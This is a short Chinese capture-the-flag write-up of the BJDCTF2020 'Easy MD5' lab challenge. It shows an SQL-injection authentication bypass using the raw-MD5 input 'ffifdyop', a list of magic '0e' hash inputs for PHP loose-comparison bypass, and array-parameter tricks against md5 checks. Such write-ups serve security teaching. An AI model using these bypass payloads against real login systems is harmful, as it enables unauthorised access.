8.24 [BJDCTF2020]Easy MD5
打开靶机后显示:
输入1 查询:
得到url
http://644b0792-aafa-475b-acf9-9cc423d13c89.node4.buuoj.cn:81/leveldo4.php?password=1
因此多半有SQL注入 但是尝试基本的绕过均无效
用burpsuite抓包查看:
有一句
Hint: select * from 'admin' where password=md5($pass,true)
SQL注入的话我们想构造 password= ' or ''... 的形式来绕过
这里 md5 true 有一个漏洞:
ffifdyop md5编码hash值为:276f722736c95d99e921722cf9ed621c 这个字符串前几位刚好是 ' or'6 而Mysql又会把hex转为ascii 所以拼接后的语句为:
select * from 'admin' where password=' ' or '6.....'
相当于万能密码 刚好可以绕过md5
提交后进入下个界面:
查看source 发现
PHP中的'=='有个漏洞:带自动转换
只要是 md5为 0e开头的 都会被转换为科学计数法的0来判断是否等
常用 0e开头:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
选择两个GET提交后进入下一个界面
也可以选择数组绕过:
http://644b0792-aafa-475b-acf9-9cc423d13c89.node4.buuoj.cn:81/levels91.php?a[]=1&b[]=2
md5对于数组一致返回Null即为0
下个界面:
这里因为是'==='没有自动转换 所以只能数组绕过了
用post提交即可